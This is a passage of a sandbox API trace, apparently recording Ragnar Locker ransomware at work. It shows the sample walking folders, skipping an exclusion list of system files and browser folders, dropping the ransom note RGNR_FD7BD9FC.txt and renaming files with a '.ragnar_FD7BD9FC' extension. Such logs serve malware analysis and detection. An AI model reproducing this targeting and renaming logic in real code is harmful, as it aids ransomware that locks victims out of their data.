returned="RGNR_FD7BD9FC.txt" [0051.718] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\RGNR_FD7BD9FC.txt") returned=".txt" [0051.718] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0051.718] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0051.718] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0051.718] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0051.719] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned=".mui" [0051.719] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0051.719] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0051.719] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0051.719] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0051.719] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0051.719] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0051.719] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0051.719] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0051.719] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0051.719] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0051.719] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0051.719] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0051.719] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0051.719] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0051.719] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0051.719] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0051.719] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0051.719] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0051.719] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0051.719] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0051.719] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0051.719] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0051.719] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0051.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0051.719] CloseHandle (hObject=0xffffffff) returned 0 [0051.719] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" [0051.719] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui.ragnar_FD7BD9FC" [0051.720] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0051.720] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0051.720] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0051.720] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0051.720] lstrcmpiW (lpString1="da-DK", lpString2=".") returned 1 [0051.720] lstrcmpiW (lpString1="da-DK", lpString2="..") returned 1 [0051.720] lstrcmpiW (lpString1="da-DK", lpString2="Windows") returned -1 [0051.720] lstrcmpiW (lpString1="da-DK", lpString2="Windows.old") returned -1 [0051.720] lstrcmpiW (lpString1="da-DK", lpString2="Tor browser") returned -1 [0051.720] lstrcmpiW (lpString1="da-DK", lpString2="Internet Explorer") returned -1 [0051.720] lstrcmpiW (lpString1="da-DK", lpString2="Google") returned -1 [0051.720] lstrcmpiW (lpString1="da-DK", lpString2="Opera") returned -1 [0051.720] lstrcmpiW (lpString1="da-DK", lpString2="Opera Software") returned -1 [0051.720] lstrcmpiW (lpString1="da-DK", lpString2="Mozilla") returned -1 [0051.720] lstrcmpiW (lpString1="da-DK", lpString2="Mozilla Firefox") returned -1 [0051.720] lstrcmpiW (lpString1="da-DK", lpString2="$Recycle.Bin") returned 1 [0051.720] lstrcmpiW (lpString1="da-DK", lpString2="ProgramData") returned -1 [0051.720] lstrcmpiW (lpString1="da-DK", lpString2="All Users") returned 1 [0051.720] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0051.720] lstrcpyW (in: lpString1=0x1eb62e, lpString2="da-DK" | out: lpString1="da-DK") returned="da-DK" [0051.720] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\" [0051.720] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\" [0051.720] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\RGNR_FD7BD9FC.txt" [0051.720] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0052.883] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*.*" [0052.883] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0052.883] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0052.883] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0052.883] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71110c60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71110c60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0052.884] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0052.884] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71110c60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71110c60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.884] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0052.884] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0052.884] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71110c60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x71110c60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0052.884] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0052.884] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0052.884] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0052.884] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0052.884] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0052.884] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0052.884] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0052.884] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71110c60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71110c60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0052.884] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71110c60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x71110c60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.884] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71110c60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x71110c60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0052.885] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0052.885] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0052.885] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\RGNR_FD7BD9FC.txt") returned=".txt" [0052.885] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0052.885] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0052.885] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0052.885] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0052.885] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned=".mui" [0052.885] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0052.885] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0052.885] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0052.885] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0052.885] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0052.885] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0052.885] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0052.885] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0052.885] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0052.885] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0052.885] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0052.885] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0052.885] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0052.885] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0052.885] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0052.885] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0052.885] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0052.885] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0052.885] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0052.885] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0052.885] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0052.885] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0052.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0052.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0052.886] CloseHandle (hObject=0xffffffff) returned 0 [0052.886] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" [0052.886] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui.ragnar_FD7BD9FC" [0052.886] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0052.886] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0052.886] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0052.886] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0052.887] lstrcmpiW (lpString1="de-DE", lpString2=".") returned 1 [0052.887] lstrcmpiW (lpString1="de-DE", lpString2="..") returned 1 [0052.887] lstrcmpiW (lpString1="de-DE", lpString2="Windows") returned -1 [0052.887] lstrcmpiW (lpString1="de-DE", lpString2="Windows.old") returned -1 [0052.887] lstrcmpiW (lpString1="de-DE", lpString2="Tor browser") returned -1 [0052.887] lstrcmpiW (lpString1="de-DE", lpString2="Internet Explorer") returned -1 [0052.887] lstrcmpiW (lpString1="de-DE", lpString2="Google") returned -1 [0052.887] lstrcmpiW (lpString1="de-DE", lpString2="Opera") returned -1 [0052.887] lstrcmpiW (lpString1="de-DE", lpString2="Opera Software") returned -1 [0052.887] lstrcmpiW (lpString1="de-DE", lpString2="Mozilla") returned -1 [0052.887] lstrcmpiW (lpString1="de-DE", lpString2="Mozilla Firefox") returned -1 [0052.887] lstrcmpiW (lpString1="de-DE", lpString2="$Recycle.Bin") returned 1 [0052.887] lstrcmpiW (lpString1="de-DE", lpString2="ProgramData") returned -1 [0052.887] lstrcmpiW (lpString1="de-DE", lpString2="All Users") returned 1 [0052.887] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0052.887] lstrcpyW (in: lpString1=0x1eb62e, lpString2="de-DE" | out: lpString1="de-DE") returned="de-DE" [0052.887] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\" [0052.887] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\" [0052.887] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\RGNR_FD7BD9FC.txt" [0052.887] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0052.902] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*.*" [0052.902] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0052.902] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0052.902] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0052.902] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x71c5f4e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, 